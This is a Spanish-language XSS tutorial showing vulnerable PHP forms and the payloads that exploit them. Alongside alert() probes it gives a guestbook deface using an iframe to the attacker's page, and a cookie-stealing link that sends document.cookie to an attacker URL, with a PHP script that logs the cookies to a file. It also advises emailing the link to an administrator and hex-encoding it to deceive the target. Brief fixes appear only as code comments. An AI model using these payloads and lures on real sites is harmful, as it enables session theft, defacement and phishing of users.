XSS

CROSS SITE SCRIPTING

Chebyte

chebyte at gmail.com

Conceptos

XSS: (Cross Site Scripting) - tipo de vulnerabilidad surgida como consecuencia de errores de filtrado de las entradas del usuario en aplicaciones web.
Se trata de usar diversas técnicas para inyectar código de marcas (html), código ejecutable en la máquina cliente (Javascript/VBScript/ActiveX) o código ejecutable en el servidor (PHP/ASP) en las entradas de aplicaciones web con el fin de conseguir muy diversos objetivos limitados por la capacidad del lenguaje inyectado para vulnerar al cliente o al servidor de la aplicación web.

Inyección: Termino referente a la inserción de algún tipo de código.

Cookies: Una *cookie* (en inglés, *galleta*) es un fragmento de información que se almacena en el disco duro del visitante de una página web a través de su navegador, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor en posteriores visitas

Webapp : Termino abreviado de “aplicaciones web”.

Xss, es una técnica bastante popular en estos dias. Si bien su amenaza no va dirigida a los servidores,sino mas bien a los usuarios y sitios, de los cuales se podría obtener datos mediante ing. social, hacer defaces simples,etc.

En este articulo nos vamos a basar solo en ejemplos ya que esta técnica en si, no contiene mucha teoría.

Ejemplos

Ejemplo 1

ejemplo1.php

```
<html>
<body>
<h1>Ejemplo 1</h1>
<form action='ejemplo1-2.php' method='post'>
<center><h1><b>Elige tu sistema favorito</b></h1></center><br>
<input type="radio" name="os" value="Linux">Linux<br>
<input type="radio" name="os" value="WIndoz">Windoz<br>
<input type="radio" name="os" value="MacOS">MacOs<br>
<center><input type="submit" value="send"></center>
</form>
</body>
</html>
```

ejemplo1-2.php

```
<?
$Choice = $_REQUEST[os];
//Solucion: $Choice = htmlentities($_REQUEST[os]);
?>
<html>
<head><TITLE>Ejemplo1</TITLE></head>
<body>
<br>
<center>
<h1>Elegiste: <? echo $Choice?></h1>
</center>
</body>
</html>
```

En el ejemplo1.php se presenta una encuesta, luego de seleccionar alguna opción, los datos son enviados a la página “ejemplo1-2.php” , en donde se los imprime.
Este simple ejemplo permite inyectar código XSS, debido a que la variable no está filtrada, un ejemplo de inyección podría ser:

http://victima.com/ejemplo1.2.php?os=<script>alert('CheByte')
</script>

Ejemplo 2

ejemplo2.php

```
<hmtl>
<body>
<b>Ejemplo 2</b>
<br>
<form action='./ejemplo2.php' method='post'>
URL de la imagen: <input type='text' name='url'value='http://'
length='50'><br>
<input type='submit'>
</form>
<?
if(!empty($submit)){
  //Solucion: $url=addslashes($url);
   echo "<img src=\"$url\">\n";
}

?>
</body>
</hmtl>
```

Este ejemplo permite ingresar una imagen, donde luego se la mostrará.
Como en este ejemplo tampoco se hace un filtro de lo que se ingresa podríamos hacer las siguientes inyecciones.

En el campo de url se podría inyectar:

```
http://victima.com/hola.jpg>"<script>alert('CheByte')</script>
```

Otra tipo de inyeción que podriamos ingresar en el box de url

```
http://viticma.com/hola.jpg>"<script>document.cookie</script>
```

Unas de las webapps mas vulnerables a este tipo de ataques son los guestbook, la cual la mayoría no realiza controles de datos, permitiendo hacer un simple deface ingresando código html, ya que los datos son almacenados en una base de datos.

Este deface se lo podría realizar inyectando en la firma dentro del guestbook

```
<iframe src=http://Tu_pagina/hack.php>
```

el código de hack.php podría tener la forma

```
<SCRIPT TYPE="text/javascript" LANGUAGE=JAVASCRIPT>
<!--
if (top.frames.length!=0)
top.location=self.document.location;
// -->
</SCRIPT>

BY CHEBYTE
```

Esto ocasionaría que cada ves que se ingrese al guestbook, se abra la página hack.php como frame superior con el texto “BY CHEBYTE”.

Con esta técnica también se puede obtener datos del usuario como ser las cookies.
A continuación vamos a ver un ejemplo de como obtenerlas.

Supongamos que encontramos una falla de XSS en el sitio xxxx.com. Conseguimos el email del administrador o de algun user y le podríamos enviar el siguiente link.

```
http://xxxx.com/gnusoft/images/Windows.gif name="hia"
onload="hia.src='http://TU_URL/hack.php?cookie='%
20+document.cookie;">
```

Donde el código de hack.php seria:

```
<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>
```

El usuario al entrar a ese link, envía automáticamente sus cookies a nuestro página hack.php, donde son almacenadas en el fichero cookies.txt.
Para hacer un poco mas realista y aumentar la dificultad del engaño se podría camuflar el código xss de la url transformándola a hexadecimal.

Símbolo	Código hexa-decimal
!	%21
"	%22
#	%23
$	%24
%	%25
&	%26
'	%27
(	%28
)	%29
*	%2A
+	%2B
,	%2C
-	%2D
.	%2E
/	%2F
:	%3A
;	%3B
<	%3C
=	%3D
>	%3E
?	%3F
@	%40
[	%5B
\	%5C
]	%5D
^	%5E
_	%5F